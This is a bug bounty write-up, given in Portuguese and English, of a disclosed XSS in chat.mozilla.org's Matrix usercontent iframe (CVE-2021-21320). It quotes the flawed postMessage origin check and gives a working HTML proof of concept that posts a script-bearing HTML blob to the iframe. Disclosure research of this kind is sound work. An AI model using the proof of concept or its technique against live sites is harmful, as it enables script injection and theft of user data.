No mês passado, alguns amigos e eu fundamos a @duph0use, uma casa onde passamos as últimas semanas fazendo bug bounties, pesquisando e trabalhando. Em um dado momento durante esse tempo, comecei a procurar por bugs nos domínios da Mozilla, o que me levou a encontrar 3 XSSs.
Neste post, vou descrever uma destas descobertas.
Enquanto navegava pelos produtos Mozilla, acabei encontrando o chat.mozilla.org, que é um webchat mantido pelo Matrix.org.
Depois de perceber que o chat também possui código aberto, comecei a pesquisar a fonte e descobri uma funcionalidade de upload de arquivo. Experimentei diversas tentativas que não me levaram a lugar nenhum. No entanto, essa funcionalidade também tinha algo intrigante: uma prévia de imagens/arquivos após o upload.
As prévias eram feitas dentro de um iframe. Em um cenário normal, um usuário regular clica no botão de upload e carrega um arquivo, este arquivo é então transformado em um blob, e, assim que carregado, o conteúdo deste blob é enviado para o servidor.
O motivo pelo qual este ataque funcionou foi que o aplicativo estava enviando uma mensagem para o iframe para criar o blob e este iframe também era usado para pré-visualizar as imagens.
Como você pode ver a seguir, a validação da origem da postMessage foi feita através da entrada do usuário:
https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L1
const params = window.location.search.substring(1).split('&'); let lockOrigin; for (let i = 0; i < params.length; ++i) { const parts = params[i].split('='); if (parts[0] === 'origin') lockOrigin = decodeURIComponent(parts[1]); }
O próximo passo do código recebeu a mensagem postMessage e enviou seus dados para o RemoteRender:
https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L47
window.onmessage = function(e) { if (e.origin === lockOrigin) { if (e.data.blob) remoteRender(e); else remoteSetTint(e); } };
Na linha 49, a mensagem recuperou um blob enviado pelo usuário (e.data.blob) e, sem verificar o tipo de conteúdo, foi passado para createObjectURL na linha 22:
https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L22
a.href = window.URL.createObjectURL(data.blob);
A única coisa que é um pouco irritante neste XSS é que ele requer interação do usuário, causada pelo atributo de download (linha 19). Entretanto, ele é trivial:
https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L19
a.download = data.download;
Por isso, o usuário precisa clicar na imagem usando o botão direito do mouse e depois abri-la em outra aba. Para fazer isso, criei uma imagem simples dizendo: “abra esta imagem em uma nova aba” e passei esta imagem via postMessage no atributo imgSrc (linha 40).
https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L40
img.src = data.imgSrc;
Este é meu PoC final:
<html> <head> </head> <body> <center>Click anywhere in the page</center> <script> let x; onclick = () => { x = open("https://chat.mozilla.org/usercontent/?origin=https%3a%2f%2f"+document.domain); setTimeout(() => { const payload = new Blob(["<script>alert(1337)<\/script>"], { type : "text/html" }); x.postMessage({ blob: payload, imgSrc: "https://i.imgur.com/CMq55u9.png", auto: true}, "*"); }, 2500); } </script> </body> </html>
Eu notei que o pessoal da matrix se equivocou ao criar a CVE, sendo que a origem do blob é a origem de quem criou o blob, devido a isso, também é possivel conseguir roubar dados dos usuários através deste XSS.

Aqui você pode ver como o ataque aconteceu:
# Timeline
* 13/02/2021 – Vulnerabilidade reportada
* 19/02/2021 – CVE ID assinado
* 01/03/2021 – Vulnerabilidade corrigida
* 08/03/2021 – Bounty recebido de $500 dólares
O report deste bug esta disponível na seguinte url https://bugzilla.mozilla.org/show_bug.cgi?id=1692696
Por Guilherme Keerok
A short story about an XSS in chat.mozilla.org (CVE-2021-21320)
Last month, some friends and I founded @duph0use, a house where we spent the past weeks doing bug bounty hunting, researching, and working. At one point during that time, I started searching for bugs in Mozilla, which then led me to find 3 XSSes.
In this post I will show only one of the findings.
Whilst navigating through Mozilla products, I ended up finding chat.mozilla.org, which is a webchat maintained by Matrix.org.
After realizing that the chat is also open source, I began by looking into the source, and discovered a file upload functionality. I tried several different things on it, which led me nowhere. However, the same functionality also had a preview of images/files after the upload, which was something intriguing.
The previews were being made inside an iframe. In a usual scenario, a regular user will click on the upload button and upload a file of some sort, this file will then be transformed into a blob, and as soon as it is uploaded, the content of this blob will be sent to the server.
What made it possible for this attack to work was that the application was sending a postMessage to the iframe to create the blob. This iframe was also used to preview the images.
As you may see in the following code, the validation of the postMessage origin was done through user input:
https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L1
const params = window.location.search.substring(1).split('&'); let lockOrigin; for (let i = 0; i < params.length; ++i) { const parts = params[i].split('='); if (parts[0] === 'origin') lockOrigin = decodeURIComponent(parts[1]); }
Subsequently, the next step of the code received the postMessage and sent its data to remoteRender:
https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L47
window.onmessage = function(e) { if (e.origin === lockOrigin) { if (e.data.blob) remoteRender(e); else remoteSetTint(e); } };
In line 49, the message retrieved a blob sent by the user (e.data.blob) and without verifying the content-type, its content was passed to createObjectURL in line 22:
https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L22
a.href = window.URL.createObjectURL(data.blob);
The only thing that is a bit annoying in this XSS is that it requires user interaction, caused by the download attribute (line 19). However, it is trivial:
https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L19
a.download = data.download;
Because of that, the user needs to click on the image using the right button of the mouse, and then open it in another tab. In order to do that, I created a simple image saying, “open this image in a new tab” and passed this image via postMessage in the imgSrc attribute (line 40).
https://github.com/matrix-org/matrix-react-sdk/blob/v3.14.0/src/usercontent/index.js#L40
img.src = data.imgSrc;
This is my final PoC:
<html> <head> </head> <body> <center>Click anywhere in the page</center> <script> let x; onclick = () => { x = open("https://chat.mozilla.org/usercontent/?origin=https%3a%2f%2f"+document.domain); setTimeout(() => { const payload = new Blob(["<script>alert(1337)<\/script>"], { type : "text/html" }); x.postMessage({ blob: payload, imgSrc: "https://i.imgur.com/CMq55u9.png", auto: true}, "*"); }, 2500); } </script> </body> </html>
I noticed that the matrix staff was mistaken when signing the CVE, and the origin of the blob is the origin of those who created the blob, because of this, it is also possible to be able to steal data from users through this XSS.

Here you can see the PoC video:
# Timeline
* 2021-02-13 – Reported the vulnerability
* 2021-02-19 – CVE ID assigned
* 2021-03-01 – Fixed the vulnerability
* 2021-03-08 – $500 Bounty awarded
The report of this bug is available in the following url https://bugzilla.mozilla.org/show_bug.cgi?id=1692696
By Guilherme Keerok